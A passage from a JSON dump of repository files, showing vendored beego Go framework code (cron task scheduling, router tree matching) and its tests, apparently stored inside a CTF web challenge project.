Len() int { return len(ms.Keys) }\nfunc (ms *MapSorter) Less(i, j int) bool {\n\tif ms.Vals[i].GetNext().IsZero() {\n\t\treturn false\n\t}\n\tif ms.Vals[j].GetNext().IsZero() {\n\t\treturn true\n\t}\n\treturn ms.Vals[i].GetNext().Before(ms.Vals[j].GetNext())\n}\nfunc (ms *MapSorter) Swap(i, j int) {\n\tms.Vals[i], ms.Vals[j] = ms.Vals[j], ms.Vals[i]\n\tms.Keys[i], ms.Keys[j] = ms.Keys[j], ms.Keys[i]\n}\n\nfunc getField(field string, r bounds) uint64 {\n\t// list = range {\",\" range}\n\tvar bits uint64\n\tranges := strings.FieldsFunc(field, func(r rune) bool { return r == ',' })\n\tfor _, expr := range ranges {\n\t\tbits |= getRange(expr, r)\n\t}\n\treturn bits\n}\n\n// getRange returns the bits indicated by the given expression:\n//   number | number \"-\" number [ \"/\" number ]\nfunc getRange(expr string, r bounds) uint64 {\n\n\tvar (\n\t\tstart, end, step uint\n\t\trangeAndStep     = strings.Split(expr, \"/\")\n\t\tlowAndHigh       = strings.Split(rangeAndStep[0], \"-\")\n\t\tsingleDigit      = len(lowAndHigh) == 1\n\t)\n\n\tvar extrastar uint64\n\tif lowAndHigh[0] == \"*\" || lowAndHigh[0] == \"?\" {\n\t\tstart = r.min\n\t\tend = r.max\n\t\textrastar = starBit\n\t} else {\n\t\tstart = parseIntOrName(lowAndHigh[0], r.names)\n\t\tswitch len(lowAndHigh) {\n\t\tcase 1:\n\t\t\tend = start\n\t\tcase 2:\n\t\t\tend = parseIntOrName(lowAndHigh[1], r.names)\n\t\tdefault:\n\t\t\tlog.Panicf(\"Too many hyphens: %s\", expr)\n\t\t}\n\t}\n\n\tswitch len(rangeAndStep) {\n\tcase 1:\n\t\tstep = 1\n\tcase 2:\n\t\tstep = mustParseInt(rangeAndStep[1])\n\n\t\t// Special handling: \"N/step\" means \"N-max/step\".\n\t\tif singleDigit {\n\t\t\tend = r.max\n\t\t}\n\tdefault:\n\t\tlog.Panicf(\"Too many slashes: %s\", expr)\n\t}\n\n\tif start < r.min {\n\t\tlog.Panicf(\"Beginning of range (%d) below minimum (%d): %s\", start, r.min, expr)\n\t}\n\tif end > r.max {\n\t\tlog.Panicf(\"End of range (%d) above maximum (%d): %s\", end, r.max, expr)\n\t}\n\tif start > end {\n\t\tlog.Panicf(\"Beginning of range (%d) beyond end of range (%d): %s\", start, end, expr)\n\t}\n\n\treturn getBits(start, end, step) | extrastar\n}\n\n// parseIntOrName returns the (possibly-named) integer contained in expr.\nfunc parseIntOrName(expr string, names map[string]uint) uint {\n\tif names != nil {\n\t\tif namedInt, ok := names[strings.ToLower(expr)]; ok {\n\t\t\treturn namedInt\n\t\t}\n\t}\n\treturn mustParseInt(expr)\n}\n\n// mustParseInt parses the given expression as an int or panics.\nfunc mustParseInt(expr string) uint {\n\tnum, err := strconv.Atoi(expr)\n\tif err != nil {\n\t\tlog.Panicf(\"Failed to parse int from %s: %s\", expr, err)\n\t}\n\tif num < 0 {\n\t\tlog.Panicf(\"Negative number (%d) not allowed: %s\", num, expr)\n\t}\n\n\treturn uint(num)\n}\n\n// getBits sets all bits in the range [min, max], modulo the given step size.\nfunc getBits(min, max, step uint) uint64 {\n\tvar bits uint64\n\n\t// If step is 1, use shifts.\n\tif step == 1 {\n\t\treturn ^(math.MaxUint64 << (max + 1)) & (math.MaxUint64 << min)\n\t}\n\n\t// Else, use a simple loop.\n\tfor i := min; i <= max; i += step {\n\t\tbits |= 1 << i\n\t}\n\treturn bits\n}\n\n// all returns all bits within the given bounds.  (plus the star bit)\nfunc all(r bounds) uint64 {\n\treturn getBits(r.min, r.max, 1) | starBit\n}\n\nfunc init() {\n\tAdminTaskList = make(map[string]Tasker)\n\tstop = make(chan bool)\n\tchanged = make(chan bool)\n}\n"
  },
  {
    "path": "web_gotsctf2018/gotsctf2018/vendor/github.com/astaxie/beego/toolbox/task_test.go",
    "content": "// Copyright 2014 beego Author. All Rights Reserved.\n//\n// Licensed under the Apache License, Version 2.0 (the \"License\");\n// you may not use this file except in compliance with the License.\n// You may obtain a copy of the License at\n//\n//      http://www.apache.org/licenses/LICENSE-2.0\n//\n// Unless required by applicable law or agreed to in writing, software\n// distributed under the License is distributed on an \"AS IS\" BASIS,\n// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n// See the License for the specific language governing permissions and\n// limitations under the License.\n\npackage toolbox\n\nimport (\n\t\"fmt\"\n\t\"sync\"\n\t\"testing\"\n\t\"time\"\n)\n\nfunc TestParse(t *testing.T) {\n\ttk := NewTask(\"taska\", \"0/30 * * * * *\", func() error { fmt.Println(\"hello world\"); return nil })\n\terr := tk.Run()\n\tif err != nil {\n\t\tt.Fatal(err)\n\t}\n\tAddTask(\"taska\", tk)\n\tStartTask()\n\ttime.Sleep(6 * time.Second)\n\tStopTask()\n}\n\nfunc TestSpec(t *testing.T) {\n\twg := &sync.WaitGroup{}\n\twg.Add(2)\n\ttk1 := NewTask(\"tk1\", \"0 12 * * * *\", func() error { fmt.Println(\"tk1\"); return nil })\n\ttk2 := NewTask(\"tk2\", \"0,10,20 * * * * *\", func() error { fmt.Println(\"tk2\"); wg.Done(); return nil })\n\ttk3 := NewTask(\"tk3\", \"0 10 * * * *\", func() error { fmt.Println(\"tk3\"); wg.Done(); return nil })\n\n\tAddTask(\"tk1\", tk1)\n\tAddTask(\"tk2\", tk2)\n\tAddTask(\"tk3\", tk3)\n\tStartTask()\n\tdefer StopTask()\n\n\tselect {\n\tcase <-time.After(200 * time.Second):\n\t\tt.FailNow()\n\tcase <-wait(wg):\n\t}\n}\n\nfunc wait(wg *sync.WaitGroup) chan bool {\n\tch := make(chan bool)\n\tgo func() {\n\t\twg.Wait()\n\t\tch <- true\n\t}()\n\treturn ch\n}\n"
  },
  {
    "path": "web_gotsctf2018/gotsctf2018/vendor/github.com/astaxie/beego/tree.go",
    "content": "// Copyright 2014 beego Author. All Rights Reserved.\n//\n// Licensed under the Apache License, Version 2.0 (the \"License\");\n// you may not use this file except in compliance with the License.\n// You may obtain a copy of the License at\n//\n//      http://www.apache.org/licenses/LICENSE-2.0\n//\n// Unless required by applicable law or agreed to in writing, software\n// distributed under the License is distributed on an \"AS IS\" BASIS,\n// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n// See the License for the specific language governing permissions and\n// limitations under the License.\n\npackage beego\n\nimport (\n\t\"path\"\n\t\"regexp\"\n\t\"strings\"\n\n\t\"github.com/astaxie/beego/context\"\n\t\"github.com/astaxie/beego/utils\"\n)\n\nvar (\n\tallowSuffixExt = []string{\".json\", \".xml\", \".html\"}\n)\n\n// Tree has three elements: FixRouter/wildcard/leaves\n// fixRouter stores Fixed Router\n// wildcard stores params\n// leaves store the endpoint information\ntype Tree struct {\n\t//prefix set for static router\n\tprefix string\n\t//search fix route first\n\tfixrouters []*Tree\n\t//if set, failure to match fixrouters search then search wildcard\n\twildcard *Tree\n\t//if set, failure to match wildcard search\n\tleaves []*leafInfo\n}\n\n// NewTree return a new Tree\nfunc NewTree() *Tree {\n\treturn &Tree{}\n}\n\n// AddTree will add tree to the exist Tree\n// prefix should has no params\nfunc (t *Tree) AddTree(prefix string, tree *Tree) {\n\tt.addtree(splitPath(prefix), tree, nil, \"\")\n}\n\nfunc (t *Tree) addtree(segments []string, tree *Tree, wildcards []string, reg string) {\n\tif len(segments) == 0 {\n\t\tpanic(\"prefix should has path\")\n\t}\n\tseg := segments[0]\n\tiswild, params, regexpStr := splitSegment(seg)\n\t// if it's ? meaning can igone this, so add one more rule for it\n\tif len(params) > 0 && params[0] == \":\" {\n\t\tparams = params[1:]\n\t\tif len(segments[1:]) > 0 {\n\t\t\tt.addtree(segments[1:], tree, append(wildcards, params...), reg)\n\t\t} else {\n\t\t\tfilterTreeWithPrefix(tree, wildcards, reg)\n\t\t}\n\t}\n\t//Rule: /login/*/access match /login/2009/11/access\n\t//if already has *, and when loop the access, should as a regexpStr\n\tif !iswild && utils.InSlice(\":splat\", wildcards) {\n\t\tiswild = true\n\t\tregexpStr = seg\n\t}\n\t//Rule: /user/:id/*\n\tif seg == \"*\" && len(wildcards) > 0 && reg == \"\" {\n\t\tregexpStr = \"(.+)\"\n\t}\n\tif len(segments) == 1 {\n\t\tif iswild {\n\t\t\tif regexpStr != \"\" {\n\t\t\t\tif reg == \"\" {\n\t\t\t\t\trr := \"\"\n\t\t\t\t\tfor _, w := range wildcards {\n\t\t\t\t\t\tif w == \":splat\" {\n\t\t\t\t\t\t\trr = rr + \"(.+)/\"\n\t\t\t\t\t\t} else {\n\t\t\t\t\t\t\trr = rr + \"([^/]+)/\"\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\t\t\t\t\tregexpStr = rr + regexpStr\n\t\t\t\t} else {\n\t\t\t\t\tregexpStr = \"/\" + regexpStr\n\t\t\t\t}\n\t\t\t} else if reg != \"\" {\n\t\t\t\tif seg == \"*.*\" {\n\t\t\t\t\tregexpStr = \"([^.]+).(.+)\"\n\t\t\t\t} else {\n\t\t\t\t\tfor _, w := range params {\n\t\t\t\t\t\tif w == \".\" || w == \":\" {\n\t\t\t\t\t\t\tcontinue\n\t\t\t\t\t\t}\n\t\t\t\t\t\tregexpStr = \"([^/]+)/\" + regexpStr\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t}\n\t\t\treg = strings.Trim(reg+\"/\"+regexpStr, \"/\")\n\t\t\tfilterTreeWithPrefix(tree, append(wildcards, params...), reg)\n\t\t\tt.wildcard = tree\n\t\t} else {\n\t\t\treg = strings.Trim(reg+\"/\"+regexpStr, \"/\")\n\t\t\tfilterTreeWithPrefix(tree, append(wildcards, params...), reg)\n\t\t\ttree.prefix = seg\n\t\t\tt.fixrouters = append(t.fixrouters, tree)\n\t\t}\n\t\treturn\n\t}\n\n\tif iswild {\n\t\tif t.wildcard == nil {\n\t\t\tt.wildcard = NewTree()\n\t\t}\n\t\tif regexpStr != \"\" {\n\t\t\tif reg == \"\" {\n\t\t\t\trr := \"\"\n\t\t\t\tfor _, w := range wildcards {\n\t\t\t\t\tif w == \":splat\" {\n\t\t\t\t\t\trr = rr + \"(.+)/\"\n\t\t\t\t\t} else {\n\t\t\t\t\t\trr = rr + \"([^/]+)/\"\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t\tregexpStr = rr + regexpStr\n\t\t\t} else {\n\t\t\t\tregexpStr = \"/\" + regexpStr\n\t\t\t}\n\t\t} else if reg != \"\" {\n\t\t\tif seg == \"*.*\" {\n\t\t\t\tregexpStr = \"([^.]+).(.+)\"\n\t\t\t\tparams = params[1:]\n\t\t\t} else {\n\t\t\t\tfor range params {\n\t\t\t\t\tregexpStr = \"([^/]+)/\" + regexpStr\n\t\t\t\t}\n\t\t\t}\n\t\t} else {\n\t\t\tif seg == \"*.*\" {\n\t\t\t\tparams = params[1:]\n\t\t\t}\n\t\t}\n\t\treg = strings.TrimRight(strings.TrimRight(reg, \"/\")+\"/\"+regexpStr, \"/\")\n\t\tt.wildcard.addtree(segments[1:], tree, append(wildcards, params...), reg)\n\t} else {\n\t\tsubTree := NewTree()\n\t\tsubTree.prefix = seg\n\t\tt.fixrouters = append(t.fixrouters, subTree)\n\t\tsubTree.addtree(segments[1:], tree, append(wildcards, params...), reg)\n\t}\n}\n\nfunc filterTreeWithPrefix(t *Tree, wildcards []string, reg string) {\n\tfor _, v := range t.fixrouters {\n\t\tfilterTreeWithPrefix(v, wildcards, reg)\n\t}\n\tif t.wildcard != nil {\n\t\tfilterTreeWithPrefix(t.wildcard, wildcards, reg)\n\t}\n\tfor _, l := range t.leaves {\n\t\tif reg != \"\" {\n\t\t\tif l.regexps != nil {\n\t\t\t\tl.wildcards = append(wildcards, l.wildcards...)\n\t\t\t\tl.regexps = regexp.MustCompile(\"^\" + reg + \"/\" + strings.Trim(l.regexps.String(), \"^$\") + \"$\")\n\t\t\t} else {\n\t\t\t\tfor _, v := range l.wildcards {\n\t\t\t\t\tif v == \":splat\" {\n\t\t\t\t\t\treg = reg + \"/(.+)\"\n\t\t\t\t\t} else {\n\t\t\t\t\t\treg = reg + \"/([^/]+)\"\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t\tl.regexps = regexp.MustCompile(\"^\" + reg + \"$\")\n\t\t\t\tl.wildcards = append(wildcards, l.wildcards...)\n\t\t\t}\n\t\t} else {\n\t\t\tl.wildcards = append(wildcards, l.wildcards...)\n\t\t\tif l.regexps != nil {\n\t\t\t\tfor _, w := range wildcards {\n\t\t\t\t\tif w == \":splat\" {\n\t\t\t\t\t\treg = \"(.+)/\" + reg\n\t\t\t\t\t} else {\n\t\t\t\t\t\treg = \"([^/]+)/\" + reg\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t\tl.regexps = regexp.MustCompile(\"^\" + reg + strings.Trim(l.regexps.String(), \"^$\") + \"$\")\n\t\t\t}\n\t\t}\n\t}\n}\n\n// AddRouter call addseg function\nfunc (t *Tree) AddRouter(pattern string, runObject interface{}) {\n\tt.addseg(splitPath(pattern), runObject, nil, \"\")\n}\n\n// \"/\"\n// \"admin\" ->\nfunc (t *Tree) addseg(segments []string, route interface{}, wildcards []string, reg string) {\n\tif len(segments) == 0 {\n\t\tif reg != \"\" {\n\t\t\tt.leaves = append(t.leaves, &leafInfo{runObject: route, wildcards: wildcards, regexps: regexp.MustCompile(\"^\" + reg + \"$\")})\n\t\t} else {\n\t\t\tt.leaves = append(t.leaves, &leafInfo{runObject: route, wildcards: wildcards})\n\t\t}\n\t} else {\n\t\tseg := segments[0]\n\t\tiswild, params, regexpStr := splitSegment(seg)\n\t\t// if it's ? meaning can igone this, so add one more rule for it\n\t\tif len(params) > 0 && params[0] == \":\" {\n\t\t\tt.addseg(segments[1:], route, wildcards, reg)\n\t\t\tparams = params[1:]\n\t\t}\n\t\t//Rule: /login/*/access match /login/2009/11/access\n\t\t//if already has *, and when loop the access, should as a regexpStr\n\t\tif !iswild && utils.InSlice(\":splat\", wildcards) {\n\t\t\tiswild = true\n\t\t\tregexpStr = seg\n\t\t}\n\t\t//Rule: /user/:id/*\n\t\tif seg == \"*\" && len(wildcards) > 0 && reg == \"\" {\n\t\t\tregexpStr = \"(.+)\"\n\t\t}\n\t\tif iswild {\n\t\t\tif t.wildcard == nil {\n\t\t\t\tt.wildcard = NewTree()\n\t\t\t}\n\t\t\tif regexpStr != \"\" {\n\t\t\t\tif reg == \"\" {\n\t\t\t\t\trr := \"\"\n\t\t\t\t\tfor _, w := range wildcards {\n\t\t\t\t\t\tif w == \":splat\" {\n\t\t\t\t\t\t\trr = rr + \"(.+)/\"\n\t\t\t\t\t\t} else {\n\t\t\t\t\t\t\trr = rr + \"([^/]+)/\"\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\t\t\t\t\tregexpStr = rr + regexpStr\n\t\t\t\t} else {\n\t\t\t\t\tregexpStr = \"/\" + regexpStr\n\t\t\t\t}\n\t\t\t} else if reg != \"\" {\n\t\t\t\tif seg == \"*.*\" {\n\t\t\t\t\tregexpStr = \"/([^.]+).(.+)\"\n\t\t\t\t\tparams = params[1:]\n\t\t\t\t} else {\n\t\t\t\t\tfor range params {\n\t\t\t\t\t\tregexpStr = \"/([^/]+)\" + regexpStr\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t} else {\n\t\t\t\tif seg == \"*.*\" {\n\t\t\t\t\tparams = params[1:]\n\t\t\t\t}\n\t\t\t}\n\t\t\tt.wildcard.addseg(segments[1:], route, append(wildcards, params...), reg+regexpStr)\n\t\t} else {\n\t\t\tvar subTree *Tree\n\t\t\tfor _, sub := range t.fixrouters {\n\t\t\t\tif sub.prefix == seg {\n\t\t\t\t\tsubTree = sub\n\t\t\t\t\tbreak\n\t\t\t\t}\n\t\t\t}\n\t\t\tif subTree == nil {\n\t\t\t\tsubTree = NewTree()\n\t\t\t\tsubTree.prefix = seg\n\t\t\t\tt.fixrouters = append(t.fixrouters, subTree)\n\t\t\t}\n\t\t\tsubTree.addseg(segments[1:], route, wildcards, reg)\n\t\t}\n\t}\n}\n\n// Match router to runObject & params\nfunc (t *Tree) Match(pattern string, ctx *context.Context) (runObject interface{}) {\n\tif len(pattern) == 0 || pattern[0] != '/' {\n\t\treturn nil\n\t}\n\tw := make([]string, 0, 20)\n\treturn t.match(pattern[1:], pattern, w, ctx)\n}\n\nfunc (t *Tree) match(treePattern string, pattern string, wildcardValues []string, ctx *context.Context) (runObject interface{}) {\n\tif len(pattern) > 0 {\n\t\ti := 0\n\t\tfor ; i < len(pattern) && pattern[i] == '/'; i++ {\n\t\t}\n\t\tpattern = pattern[i:]\n\t}\n\t// Handle leaf nodes:\n\tif len(pattern) == 0 {\n\t\tfor _, l := range t.leaves {\n\t\t\tif ok := l.match(treePattern, wildcardValues, ctx); ok {\n\t\t\t\treturn l.runObject\n\t\t\t}\n\t\t}\n\t\tif t.wildcard != nil {\n\t\t\tfor _, l := range t.wildcard.leaves {\n\t\t\t\tif ok := l.match(treePattern, wildcardValues, ctx); ok {\n\t\t\t\t\treturn l.runObject\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t\treturn nil\n\t}\n\tvar seg string\n\ti, l := 0, len(pattern)\n\tfor ; i < l && pattern[i] != '/'; i++ {\n\t}\n\tif i == 0 {\n\t\tseg = pattern\n\t\tpattern = \"\"\n\t} else {\n\t\tseg = pattern[:i]\n\t\tpattern = pattern[i:]\n\t}\n\tfor _, subTree := range t.fixrouters {\n\t\tif subTree.prefix == seg {\n\t\t\tif len(pattern) != 0 && pattern[0] == '/' {\n\t\t\t\ttreePattern = pattern[1:]\n\t\t\t} else {\n\t\t\t\ttreePattern = pattern\n\t\t\t}\n\t\t\trunObject = subTree.match(treePattern, pattern, wildcardValues, ctx)\n\t\t\tif runObject != nil {\n\t\t\t\tbreak\n\t\t\t}\n\t\t}\n\t}\n\tif runObject == nil && len(t.fixrouters) > 0 {\n\t\t// Filter the .json .xml .html extension\n\t\tfor _, str := range allowSuffixExt {\n\t\t\tif strings.HasSuffix(seg, str) {\n\t\t\t\tfor _, subTree := range t.fixrouters {\n\t\t\t\t\tif subTree.prefix == seg[:len(seg)-len(str)] {\n\t\t\t\t\t\trunObject = subTree.match(treePattern, pattern, wildcardValues, ctx)\n\t\t\t\t\t\tif runObject != nil {\n\t\t\t\t\t\t\tctx.Input.SetParam(\":ext\", str[1:])\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t}\n\tif runObject == nil && t.wildcard != nil {\n\t\trunObject = t.wildcard.match(treePattern, pattern, append(wildcardValues, seg), ctx)\n\t}\n\n\tif runObject == nil && len(t.leaves) > 0 {\n\t\twildcardValues = append(wildcardValues, seg)\n\t\tstart, i := 0, 0\n\t\tfor ; i < len(pattern); i++ {\n\t\t\tif pattern[i] == '/' {\n\t\t\t\tif i != 0 && start < len(pattern) {\n\t\t\t\t\twildcardValues = append(wildcardValues, pattern[start:i])\n\t\t\t\t}\n\t\t\t\tstart = i + 1\n\t\t\t\tcontinue\n\t\t\t}\n\t\t}\n\t\tif start > 0 {\n\t\t\twildcardValues = append(wildcardValues, pattern[start:i])\n\t\t}\n\t\tfor _, l := range t.leaves {\n\t\t\tif ok := l.match(treePattern, wildcardValues, ctx); ok {\n\t\t\t\treturn l.runObject\n\t\t\t}\n\t\t}\n\t}\n\treturn runObject\n}\n\ntype leafInfo struct {\n\t// names of wildcards that lead to this leaf. eg, [\"id\" \"name\"] for the wildcard \":id\" and \":name\"\n\twildcards []string\n\n\t// if the leaf is regexp\n\tregexps *regexp.Regexp\n\n\trunObject interface{}\n}\n\nfunc (leaf *leafInfo) match(treePattern string, wildcardValues []string, ctx *context.Context) (ok bool) {\n\t//fmt.Println(\"Leaf:\", wildcardValues, leaf.wildcards, leaf.regexps)\n\tif leaf.regexps == nil {\n\t\tif len(wildcardValues) == 0 && len(leaf.wildcards) == 0 { // static path\n\t\t\treturn true\n\t\t}\n\t\t// match *\n\t\tif len(leaf.wildcards) == 1 && leaf.wildcards[0] == \":splat\" {\n\t\t\tctx.Input.SetParam(\":splat\", treePattern)\n\t\t\treturn true\n\t\t}\n\t\t// match *.* or :id\n\t\tif len(leaf.wildcards) >= 2 && leaf.wildcards[len(leaf.wildcards)-2] == \":path\" && leaf.wildcards[len(leaf.wildcards)-1] == \":ext\" {\n\t\t\tif len(leaf.wildcards) == 2 {\n\t\t\t\tlastone := wildcardValues[len(wildcardValues)-1]\n\t\t\t\tstrs := strings.SplitN(lastone, \".\", 2)\n\t\t\t\tif len(strs) == 2 {\n\t\t\t\t\tctx.Input.SetParam(\":ext\", strs[1])\n\t\t\t\t}\n\t\t\t\tctx.Input.SetParam(\":path\", path.Join(path.Join(wildcardValues[:len(wildcardValues)-1]...), strs[0]))\n\t\t\t\treturn true\n\t\t\t} else if len(wildcardValues) < 2 {\n\t\t\t\treturn false\n\t\t\t}\n\t\t\tvar index int\n\t\t\tfor index = 0; index < len(leaf.wildcards)-2; index++ {\n\t\t\t\tctx.Input.SetParam(leaf.wildcards[index], wildcardValues[index])\n\t\t\t}\n\t\t\tlastone := wildcardValues[len(wildcardValues)-1]\n\t\t\tstrs := strings.SplitN(lastone, \".\", 2)\n\t\t\tif len(strs) == 2 {\n\t\t\t\tctx.Input.SetParam(\":ext\", strs[1])\n\t\t\t}\n\t\t\tif index > (len(wildcardValues) - 1) {\n\t\t\t\tctx.Input.SetParam(\":path\", \"\")\n\t\t\t} else {\n\t\t\t\tctx.Input.SetParam(\":path\", path.Join(path.Join(wildcardValues[index:len(wildcardValues)-1]...), strs[0]))\n\t\t\t}\n\t\t\treturn true\n\t\t}\n\t\t// match :id\n\t\tif len(leaf.wildcards) != len(wildcardValues) {\n\t\t\treturn false\n\t\t}\n\t\tfor j, v := range leaf.wildcards {\n\t\t\tctx.Input.SetParam(v, wildcardValues[j])\n\t\t}\n\t\treturn true\n\t}\n\n\tif !leaf.regexps.MatchString(path.Join(wildcardValues...)) {\n\t\treturn false\n\t}\n\tmatches := leaf.regexps.FindStringSubmatch(path.Join(wildcardValues...))\n\tfor i, match := range matches[1:] {\n\t\tif i < len(leaf.wildcards) {\n\t\t\tctx.Input.SetParam(leaf.wildcards[i], match)\n\t\t}\n\t}\n\treturn true\n}\n\n// \"/\" -> []\n// \"/admin\" -> [\"admin\"]\n// \"/admin/\" -> [\"admin\"]\n// \"/admin/users\" -> [\"admin\", \"users\"]\nfunc splitPath(key string) []string {\n\tkey = strings.Trim(key, \"/ \")\n\tif key == \"\" {\n\t\treturn []string{}\n\t}\n\treturn strings.Split(key, \"/\")\n}\n\n// \"admin\" -> false, nil, \"\"\n// \":id\" -> true, [:id], \"\"\n// \"?:id\" -> true, [: :id], \"\"        : meaning can empty\n// \":id:int\" -> true, [:id], ([0-9]+)\n// \":name:string\" -> true, [:name], ([\\w]+)\n// \":id([0-9]+)\" -> true, [:id], ([0-9]+)\n// \":id([0-9]+)_:name\" -> true, [:id :name], ([0-9]+)_(.+)\n// \"cms_:id_:page.html\" -> true, [:id_ :page], cms_(.+)(.+).html\n// \"cms_:id(.+)_:page.html\" -> true, [:id :page], cms_(.+)_(.+).html\n// \"*\" -> true, [:splat], \"\"\n// \"*.*\" -> true,[. :path :ext], \"\"      . meaning separator\nfunc splitSegment(key string) (bool, []string, string) {\n\tif strings.HasPrefix(key, \"*\") {\n\t\tif key == \"*.*\" {\n\t\t\treturn true, []string{\".\", \":path\", \":ext\"}, \"\"\n\t\t}\n\t\treturn true, []string{\":splat\"}, \"\"\n\t}\n\tif strings.ContainsAny(key, \":\") {\n\t\tvar paramsNum int\n\t\tvar out []rune\n\t\tvar start bool\n\t\tvar startexp bool\n\t\tvar param []rune\n\t\tvar expt []rune\n\t\tvar skipnum int\n\t\tparams := []string{}\n\t\treg := regexp.MustCompile(`[a-zA-Z0-9_]+`)\n\t\tfor i, v := range key {\n\t\t\tif skipnum > 0 {\n\t\t\t\tskipnum--\n\t\t\t\tcontinue\n\t\t\t}\n\t\t\tif start {\n\t\t\t\t//:id:int and :name:string\n\t\t\t\tif v == ':' {\n\t\t\t\t\tif len(key) >= i+4 {\n\t\t\t\t\t\tif key[i+1:i+4] == \"int\" {\n\t\t\t\t\t\t\tout = append(out, []rune(\"([0-9]+)\")...)\n\t\t\t\t\t\t\tparams = append(params, \":\"+string(param))\n\t\t\t\t\t\t\tstart = false\n\t\t\t\t\t\t\tstartexp = false\n\t\t\t\t\t\t\tskipnum = 3\n\t\t\t\t\t\t\tparam = make([]rune, 0)\n\t\t\t\t\t\t\tparamsNum++\n\t\t\t\t\t\t\tcontinue\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\t\t\t\t\tif len(key) >= i+7 {\n\t\t\t\t\t\tif key[i+1:i+7] == \"string\" {\n\t\t\t\t\t\t\tout = append(out, []rune(`([\\w]+)`)...)\n\t\t\t\t\t\t\tparams = append(params, \":\"+string(param))\n\t\t\t\t\t\t\tparamsNum++\n\t\t\t\t\t\t\tstart = false\n\t\t\t\t\t\t\tstartexp = false\n\t\t\t\t\t\t\tskipnum = 6\n\t\t\t\t\t\t\tparam = make([]rune, 0)\n\t\t\t\t\t\t\tcontinue\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t\t// params only support a-zA-Z0-9\n\t\t\t\tif reg.MatchString(string(v)) {\n\t\t\t\t\tparam = append(param, v)\n\t\t\t\t\tcontinue\n\t\t\t\t}\n\t\t\t\tif v != '(' {\n\t\t\t\t\tout = append(out, []rune(`(.+)`)...)\n\t\t\t\t\tparams = append(params, \":\"+string(param))\n\t\t\t\t\tparam = make([]rune, 0)\n\t\t\t\t\tparamsNum++\n\t\t\t\t\tstart = false\n\t\t\t\t\tstartexp = false\n\t\t\t\t}\n\t\t\t}\n\t\t\tif startexp {\n\t\t\t\tif v != ')' {\n\t\t\t\t\texpt = append(expt, v)\n\t\t\t\t\tcontinue\n\t\t\t\t}\n\t\t\t}\n\t\t\t// Escape Sequence '\\'\n\t\t\tif i > 0 && key[i-1] == '\\\\' {\n\t\t\t\tout = append(out, v)\n\t\t\t} else if v == ':' {\n\t\t\t\tparam = make([]rune, 0)\n\t\t\t\tstart = true\n\t\t\t} else if v == '(' {\n\t\t\t\tstartexp = true\n\t\t\t\tstart = false\n\t\t\t\tif len(param) > 0 {\n\t\t\t\t\tparams = append(params, \":\"+string(param))\n\t\t\t\t\tparam = make([]rune, 0)\n\t\t\t\t}\n\t\t\t\tparamsNum++\n\t\t\t\texpt = make([]rune, 0)\n\t\t\t\texpt = append(expt, '(')\n\t\t\t} else if v == ')' {\n\t\t\t\tstartexp = false\n\t\t\t\texpt = append(expt, ')')\n\t\t\t\tout = append(out, expt...)\n\t\t\t\tparam = make([]rune, 0)\n\t\t\t} else if v == '?' {\n\t\t\t\tparams = append(params, \":\")\n\t\t\t} else {\n\t\t\t\tout = append(out, v)\n\t\t\t}\n\t\t}\n\t\tif len(param) > 0 {\n\t\t\tif paramsNum > 0 {\n\t\t\t\tout = append(out, []rune(`(.+)`)...)\n\t\t\t}\n\t\t\tparams = append(params, \":\"+string(param))\n\t\t}\n\t\treturn true, params, string(out)\n\t}\n\treturn false, nil, \"\"\n}\n"
  },
  {
    "path": "web_gotsctf2018/gotsctf2018/vendor/github.com/astaxie/beego/tree_test.go",
    "content": "// Copyright 2014 beego Author. All Rights Reserved.\n//\n// Licensed under the Apache License, Version 2.0 (the \"License\");\n// you may not use this file except in compliance with the License.\n// You may obtain a copy of the License at\n//\n//      http://www.apache.org/licenses/LICENSE-2.0\n//\n// Unless required by applicable law or agreed to in writing, software\n// distributed under the License is distributed on an \"AS IS\" BASIS,\n// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n// See the License for the specific language governing permissions and\n// limitations under the License.\n\npackage beego\n\nimport (\n\t\"strings\"\n\t\"testing\"\n\n\t\"github.com/astaxie/beego/context\"\n)\n\ntype testinfo struct {\n\turl        string\n\trequesturl string\n\tparams     map[string]string\n}\n\nvar routers []testinfo\n\nfunc init() {\n\trouters = make([]testinfo, 0)\n\trouters = append(routers, testinfo{\"/topic/?:auth:int\", \"/topic\", nil})\n\trouters = append(routers, testinfo{\"/topic/?:auth:int\", \"/topic/123\", map[string]string{\":auth\": \"123\"}})\n\trouters = append(routers, testinfo{\"/topic/:id/?:auth\", \"/topic/1\", map[string]string{\":id\": \"1\"}})\n\trouters = append(routers, testinfo{\"/topic/:id/?:auth\", \"/topic/1/2\", map[string]string{\":id\": \"1\", \":auth\": \"2\"}})\n\trouters = append(routers, testinfo{\"/topic/:id/?:auth:int\", \"/topic/1\", map[string]string{\":id\": \"1\"}})\n\trouters = append(routers, testinfo{\"/topic/:id/?:auth:int\", \"/topic/1/123\", map[string]string{\":id\": \"1\", \":auth\": \"123\"}})\n\trouters = append(routers, testinfo{\"/:id\", \"/123\", map[string]string{\":id\": \"123\"}})\n\trouters = append(routers, testinfo{\"/hello/?:id\", \"/hello\", map[string]string{\":id\": \"\"}})\n\trouters = append(routers, testinfo{\"/\", \"/\", nil})\n\trouters = append(routers, testinfo{\"/customer/login\", \"/customer/login\", nil})\n\trouters = append(routers, testinfo{\"/customer/login\", \"/customer/login.json\", map[string]string{\":ext\": \"json\"}})\n\trouters = append(routers, testinfo{\"/*\", \"/http://customer/123/\", map[string]string{\":splat\": \"http://customer/123/\"}})\n\trouters = append(routers, testinfo{\"/*\", \"/customer/2009/12/11\", map[string]string{\":splat\": \"customer/2009/12/11\"}})\n\trouters = append(routers, testinfo{\"/aa/*/bb\", \"/aa/2009/bb\", map[string]string{\":splat\": \"2009\"}})\n\trouters = append(routers, 